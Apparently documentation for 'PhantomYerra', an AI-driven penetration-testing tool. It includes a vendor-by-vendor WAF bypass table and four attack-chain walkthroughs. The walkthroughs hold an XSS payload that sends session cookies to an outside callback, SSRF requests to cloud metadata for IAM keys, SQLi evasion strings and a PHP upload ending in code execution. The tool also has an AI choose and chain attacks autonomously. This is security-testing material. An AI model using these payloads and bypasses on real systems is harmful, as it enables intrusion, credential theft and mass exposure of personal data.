WAF Vendor	Primary Bypass Techniques	Detection Method	Known Limitations
Cloudflare	Simple logic payloads avoiding keyword signatures; event handlers not in blocklist (ontoggle, onpointerover, onfocusin); Unicode normalization exploits; chunked transfer encoding; payload in URL fragment	cf-ray header, Server: cloudflare, __cfduid cookie	Cloudflare updates rules frequently; bypasses have 30-60 day shelf life. Enterprise tier has custom rules that may differ from free/pro.
Akamai	MySQL version comments (/!50000UNION/); variable-length SQL inline comments; HTTP/2 pseudo-header manipulation; content-type mismatch (JSON body with form content-type)	AkamaiGHost server header, X-Akamai-* headers, Akamai reference ID	Kona Site Defender has tighter rules than standard. Bot Manager may block rapid testing.
AWS WAF	LIKE-based SQL comparisons instead of = operator; JSON body injection with wrong content-type; oversized payload to exceed 8KB inspection limit; transfer-encoding chunked with extensions	x-amzn-RequestId header, CloudFront distribution ID, AWS error pages	Custom rule groups may add additional protections beyond managed rules. Shield Advanced has separate DDoS protection.
Azure Front Door	URL-encoded payloads in path segments; X-Original-URL / X-Rewrite-URL header injection; multi-part form data with boundary manipulation; HTTP method override via X-HTTP-Method-Override	X-Azure-Ref header, afd-* tracking headers	Azure WAF v2 (Application Gateway) has different rules than Front Door. Check which is in use.
ModSecurity (CRS)	Zero-version MySQL comments (/!0AND/); tab/newline insertion in SQL keywords; comment insertion mid-keyword (SE/**/LECT); request body smuggling via multipart/form-data	Server: Apache/nginx + mod_security header, OWASP CRS block page pattern	CRS paranoia levels 1-4 drastically change blocking behavior. Level 4 blocks almost everything; Level 1 has many gaps.
Imperva / Incapsula	Null byte prefix (%00); HTTP Parameter Pollution (duplicate parameters); double URL encoding; request body in GET with Content-Length; alternate HTTP methods	X-CDN: Imperva, incap_ses_* cookies, visid_incap_* cookies	Incapsula cloud vs. on-prem SecureSphere have different rule sets. Cloud version updates more frequently.
F5 BIG-IP ASM	HTTP desync (CL.TE); JSON injection via deeply nested objects; Unicode fullwidth characters; cookie header overflow exceeding inspection buffer	BigIP server cookie, TS* cookies, F5 error templates	ASM learning mode may allow payloads through initially, then block after learning period. Retest after 24h.
Barracuda	HTTP Parameter Pollution; payload fragmentation across multiple parameters; multipart boundary injection; alternate encoding in filename fields	barra_counter_session cookie, Barracuda block page template	Barracuda email filtering may interfere with OOB testing. Older firmware versions have more bypass opportunities.
Sucuri	Overlong UTF-8 encoding; null byte insertion mid-payload; alternate HTTP methods (PATCH, OPTIONS); content-type switching (JSON to XML to form)	X-Sucuri-ID header, Sucuri block page with incident ID, sucuri-* cookies	Sucuri's CDN layer may serve cached responses, masking injection results. Test with Cache-Control: no-cache header.
Fastly	Cache key poisoning via unkeyed headers; Vary header manipulation; HTTP/2 pseudo-header injection; payload delivery through edge-side includes (ESI)	X-Served-By: cache-, Fastly-Debug- headers, Via: varnish	Fastly's VCL (Varnish Configuration Language) allows custom rules that vary widely between deployments.
Fortinet / FortiWeb	Double encoding in path and body simultaneously; JSON/XML content-type confusion; transfer-encoding chunked with extensions; oversized cookie headers	FORTIWAFSID cookie, FortiWeb error page patterns	FortiGuard subscription level affects rule updates. Basic tier may have outdated signatures.

Attack Chain Examples

The Finding Chain Engine automatically connects confirmed vulnerabilities into attack paths. Below are four detailed chains showing how the engine escalates from initial discovery to maximum business impact.

Chain 1: SQL Injection → Database Dump → Credential Extraction → Account Takeover

INITIAL FINDING: SQL Injection (time-based blind) at POST /api/v1/login, username parameter Bypass Level: 3 (Unicode fullwidth apostrophe bypassed Cloudflare) CVSS: 7.5 (High) CHAIN STEP 1 — Database Enumeration: Engine uses confirmed SQLi to query information_schema Discovered: 3 databases (app_prod, app_sessions, app_logs) Discovered: 14 tables in app_prod (users, payments, api_keys, sessions, ...) CHAIN STEP 2 — Credential Extraction: Engine extracts users table: id, email, password_hash, role, created_at Discovered: 2,847 user records Discovered: admin account (admin@target.com, bcrypt hash) Discovered: 3 API keys in api_keys table CHAIN STEP 3 — Hash Analysis + Credential Reuse: Engine identifies bcrypt cost factor (10) — offline cracking feasible for weak passwords Engine tests extracted API keys against /api/v1/admin endpoints Discovered: API key for "internal_service" account has admin privileges CHAIN STEP 4 — Account Takeover: Engine uses internal_service API key to access /admin/dashboard Engine demonstrates: password change for any user via /admin/users/{id}/reset Engine demonstrates: full data export via /admin/export CHAIN RESULT: Impact: Full application compromise — all user data, admin access, ability to modify any account Chain CVSS: 9.8 (Critical) Original SQLi alone: 7.5 — Chain demonstrates escalation to 9.8

Chain 2: SSRF → Cloud Metadata → IAM Keys → Infrastructure Compromise

INITIAL FINDING: SSRF at GET /api/v1/preview?url= (URL preview/unfurl feature) Bypass Level: 1 (URL encoding bypassed basic URL validation) CVSS: 6.5 (Medium) CHAIN STEP 1 — Cloud Metadata Access: Engine sends: /api/v1/preview?url=http://169.254.169.254/latest/meta-data/ Response: 200 OK with AWS instance metadata (instance-id, region, security groups) Engine sends: /api/v1/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ Response: IAM role name "app-prod-role" CHAIN STEP 2 — IAM Credential Extraction: Engine extracts temporary credentials: AccessKeyId, SecretAccessKey, Token Credentials valid for IAM role with S3, SQS, and DynamoDB permissions CHAIN STEP 3 — Cloud Resource Enumeration: Engine uses extracted credentials to list S3 buckets: 7 buckets found Discovered: s3://target-prod-backups (database backups, daily) Discovered: s3://target-customer-uploads (customer documents, PII) Discovered: s3://target-internal-docs (architecture diagrams, credentials files) CHAIN STEP 4 — Data Exfiltration Proof: Engine downloads sample file from s3://target-prod-backups (1 row only — proof of access) Engine demonstrates: full database backup accessible, contains all customer PII Engine demonstrates: credentials.yml in internal-docs contains database root password CHAIN RESULT: Impact: Full AWS infrastructure compromise via SSRF → metadata → IAM → S3 Chain CVSS: 9.8 (Critical) Original SSRF alone: 6.5 — Chain demonstrates escalation to 9.8

Chain 3: XSS → Session Hijack → Admin Access → Remote Code Execution

INITIAL FINDING: Stored XSS at POST /api/v1/comments, body parameter Bypass Level: 5 (Cloudflare bypass via <details open ontoggle=...>) CVSS: 6.1 (Medium) CHAIN STEP 1 — Session Cookie Theft: Engine crafts XSS payload: <details open ontoggle=fetch('https://callback/c='+document.cookie)> Payload stored in comment, triggers when any user views the page Engine demonstrates: session cookie for viewing user is captured CHAIN STEP 2 — Admin Session Hijack: Engine demonstrates: if admin views the comment (support ticket, moderation queue), admin session cookie is captured Engine uses captured admin cookie to access /admin/dashboard CHAIN STEP 3 — Admin File Upload: Engine discovers: /admin/settings has file upload for logo/branding File upload accepts: .php files (no extension validation) Engine uploads: proof-of-concept PHP file (outputs phpinfo(), no malicious payload) CHAIN STEP 4 — Remote Code Execution: Engine accesses uploaded PHP file: /uploads/logo_update_test.php Response: phpinfo() output confirms PHP code execution on server Engine demonstrates: arbitrary command execution via uploaded script CHAIN RESULT: Impact: Stored XSS → admin session → file upload → RCE on production server Chain CVSS: 9.8 (Critical) Original XSS alone: 6.1 — Chain demonstrates escalation to 9.8

Chain 4: IDOR → Data Exposure → PII Exfiltration → Compliance Breach

INITIAL FINDING: IDOR at GET /api/v1/users/{id}/profile No bypass needed (Level 0) — endpoint has no authorization check CVSS: 5.3 (Medium) CHAIN STEP 1 — User Enumeration: Engine iterates: /api/v1/users/1/profile through /api/v1/users/100/profile Result: 94 valid user profiles returned (6 IDs return 404) Discovered: user IDs are sequential integers (predictable) CHAIN STEP 2 — PII Extraction: Each profile contains: full_name, email, phone, address, date_of_birth, SSN (last 4) Engine samples 5 records as proof (does not dump all data) Discovered: /api/v1/users/{id}/documents endpoint also lacks authorization Documents endpoint returns: uploaded ID scans, tax forms, bank statements CHAIN STEP 3 — Scale Assessment: Engine checks: /api/v1/users/count → returns 284,719 total users Engine demonstrates: all 284,719 user profiles are accessible without authentication Engine demonstrates: all associated documents are accessible CHAIN STEP 4 — Compliance Impact: PII exposed: names, emails, phones, addresses, DOB, partial SSN, government ID scans Regulations violated: GDPR (EU users present), CCPA (CA users present), HIPAA (health documents found) Estimated regulatory fines: $2M-$50M depending on jurisdiction and response time Breach notification requirements: mandatory under all three frameworks CHAIN RESULT: Impact: Mass PII exposure affecting 284K users, triggering mandatory breach notification Chain CVSS: 9.1 (Critical) Original IDOR alone: 5.3 — Chain demonstrates escalation to 9.1 Business Impact: regulatory fines, class action liability, brand damage, mandatory disclosure

Three Intelligence Tiers

The Adaptive Attack Engine operates at three intelligence tiers depending on scan mode and AI availability. All three use the same state machine and bypass ladder — the difference is how payload selection and adaptation decisions are made.

Tier	Name	Intelligence Source	Capabilities	When Used
1	Community (Free)	Static payload libraries (2,000+), signature matching, deterministic mutation rules	All 8 bypass levels using pre-built payloads. WAF detection from headers. Tech stack from response patterns. Cross-endpoint learning (pattern-based). No AI API calls needed.	No AI key configured, air-gapped mode, Manual scan mode, community license tier
2	Professional	Pattern-based as default + Claude AI called at Level 5+ or when partial hits are detected	Everything in Tier 1, plus: AI generates novel payloads when standard ones fail. AI analyzes unusual response patterns. AI suggests technique pivots. AI writes finding narratives.	Semi-Automated mode with AI key, Automated mode with conservative AI usage, professional license tier
3	Enterprise (Full AI)	Claude AI drives every decision from the first payload selection	AI selects initial attack class based on full request/response analysis. AI generates all payloads (no static lists). AI decides bypass level transitions. AI chains findings autonomously. AI writes complete report narratives with business impact analysis.	Automated AI mode with Claude API key, enterprise license tier

All three tiers produce the same report format with the same evidence quality. The difference is speed, depth, and adaptability: Tier 3 finds more obscure vulnerabilities because Claude can reason about application logic, understand business context, and generate targeted payloads that pattern matching cannot replicate.

Applies to All Attack Surfaces

The Adaptive Attack Engine is not just for web applications. It is the universal engine powering every scanner in PhantomYerra. The state machine, bypass ladder, cross-endpoint learning, and finding chain engine are the same — only the attack classes and payload libraries change per surface.

Surface	Attack Classes	Bypass Ladder Adaptation
Web Application	SQLi, XSS, SSRF, SSTI, LFI, RCE, CSRF, IDOR, XXE, deserialization	WAF bypass encoding, technique pivot, HTTP smuggling, protocol-level evasion
REST / GraphQL API	BOLA, injection, mass assignment, rate limiting bypass, auth bypass, GraphQL introspection	JSON encoding tricks, GraphQL batching/aliasing, header manipulation, parameter pollution
Network / Infrastructure	Service exploits, default credentials, misconfigurations, protocol attacks, SMB/RDP/SSH	Port evasion, packet fragmentation, protocol-specific bypass, timing attacks
Mobile (Android / iOS)	API abuse, certificate pinning bypass, local storage, IPC, binary patching	SSL pinning bypass techniques, proxy evasion, runtime hooking (Frida), obfuscation handling
IoT / Firmware	Default credentials, command injection, firmware extraction, JTAG, UART	Protocol-specific (MQTT, CoAP, BLE, Zigbee), binary exploitation, busybox bypass
Cloud (AWS / Azure / GCP)	IAM misconfiguration, storage exposure, metadata SSRF, key leaks, privilege escalation	Cloud-provider-specific API calls, role chaining, cross-account access, STS confusion
Reverse Engineering	Binary vulnerabilities, memory corruption, logic flaws, anti-tamper bypass	Anti-debug bypass, packer detection, obfuscation handling, symbolic execution, fuzzing

Common Issues

Some applications return custom error pages or 403 responses for invalid input that mimic WAF blocking behavior. If the engine incorrectly identifies a WAF:

Check the WAF detection details in the activity log — click the FILTER_DETECTED tile to see what headers/patterns triggered the detection.
Override WAF detection: Scan Dashboard → Settings gear → WAF Configuration → set to "None Expected."
This tells the engine to treat 403/blocking responses as application-level validation, not WAF responses, and adjusts payload selection accordingly.

Each bypass level tests multiple variants before advancing. Level 5 (WAF-vendor-specific) is the longest because it tests vendor-specific bypass sets. If the WAF vendor is uncertain, the engine may test bypass sets for multiple vendors.

Check how many payloads remain at the current level: click the BYPASS_ATTEMPTING tile for a progress count.
Speed up by manually specifying the WAF vendor: Settings gear → WAF Configuration → select the correct vendor.
Skip the current level entirely: right-click the tile → "Skip to Next Level."
If the engine is at Level 6 (Technique Pivot), it is trying fundamentally different approaches — this is expected to take longer.

Cross-endpoint learning propagates within the same scan session and project. Check these conditions:

Are the endpoints in the same project? Learning does not cross project boundaries.
Is the scan still in the early PROBING phase? Learning only propagates after the engine has confirmed at least one discovery (WAF vendor, tech stack, or successful bypass).
Check the activity log for "PROPAGATED" entries — these show each cross-endpoint learning event.
If testing a target with multiple distinct backends (microservices behind different WAFs), learning may correctly not propagate because each backend has different characteristics.

EXHAUSTED means the engine tried all available bypass levels and could not confirm exploitation. This does not mean the vulnerability does not exist — it means the engine's current techniques could not exploit it. Options:

Switch to Manual mode and craft targeted payloads using the encoding toolkit.
If you have evidence from another tool, add a manual finding and link it to the endpoint.
Increase intensity to Full (all levels including AI-generated and protocol-level) if it was lower.
Add custom payloads (Tools → Adaptive Engine → Payload Manager) targeting the specific filter pattern you observed.
Review the EXHAUSTED report — it includes every payload tried and every response received, which may reveal a pattern for manual exploitation.

Large applications with many parameters can take significant time at higher bypass levels. To optimize:

Reduce intensity: Standard (Level 0-4) covers the most common bypasses in a fraction of the time.
Pre-select WAF vendor: Eliminates the detection phase and skips multi-vendor testing.
Disable unnecessary categories: If the target does not use XML, disable XXE. If there is no file upload, disable deserialization.
Use Stealth mode: Tests fewer bypass levels and uses slower timing, but completes faster per parameter because fewer payloads are sent per level.
Exclude known-clean endpoints: Right-click endpoints in the state machine view → "Exclude from Adaptive Testing."

The Finding Chain Engine links findings that have a logical exploitation relationship. Chains require:

Multiple confirmed findings: Chains need at least two CONFIRMED findings on the same target.
Exploitable relationship: A SQLi and an XSS on different endpoints are both findings but may not form a chain unless one enables the other (e.g., SQLi extracts data that makes XSS impactful).
Automated mode: Chain formation is automatic in Automated and Semi-Automated modes. In Manual mode, use the Attack Graph Builder to create chains manually.
AI availability: At Intelligence Tier 3, Claude identifies chain opportunities that pattern-based analysis (Tier 1) may miss. Configure a Claude API key for the best chain analysis.
Check Findings → Attack Graph tab — chains may exist but not be visible if the tab is not selected.

What Is the Adaptive Attack Engine?

Why This Matters

How to Use the Adaptive Attack Engine — Automated AI Mode

Prerequisites

Step 1: Understand the Engine — State Machine Overview

Step 2: Configure Intensity Settings

Step 3: Select Attack Categories

Step 4: Configure WAF Detection

Step 5: Launch and Monitor the State Machine

Real-Time Monitoring Features

Step 6: Cross-Endpoint Learning in Action

Step 7: Review Attack Chains

How Chain Scoring Works

Step 8: Export Results

Report Types

What Claude AI Does in Automated Mode

Semi-Automated Mode — Approve Bypass Escalations

Prerequisites

Step 1: Launch with Semi-Automated Mode Selected

Step 2: Review and Approve Bypass Escalation Proposals

Step 3: Approve or Limit Finding Chain Escalation

Step 4: Review Results and Export

Manual Mode — Full Control Over Bypass Levels

Prerequisites

Step 1: Select Specific Bypass Level to Start From

Step 2: Craft Custom Payloads Using Encoding Tools

Step 3: Test Individual Endpoints with Specific Techniques

Step 4: Configure Custom WAF Bypass Rules

Step 5: Add Custom Payload Lists

Step 6: Chain Findings Manually

Bypass Escalation Ladder — Complete Reference

WAF Vendor Bypass Reference

Attack Chain Examples

Chain 1: SQL Injection → Database Dump → Credential Extraction → Account Takeover

Chain 2: SSRF → Cloud Metadata → IAM Keys → Infrastructure Compromise

Chain 3: XSS → Session Hijack → Admin Access → Remote Code Execution

Chain 4: IDOR → Data Exposure → PII Exfiltration → Compliance Breach

Three Intelligence Tiers

Applies to All Attack Surfaces

Common Issues

Related Topics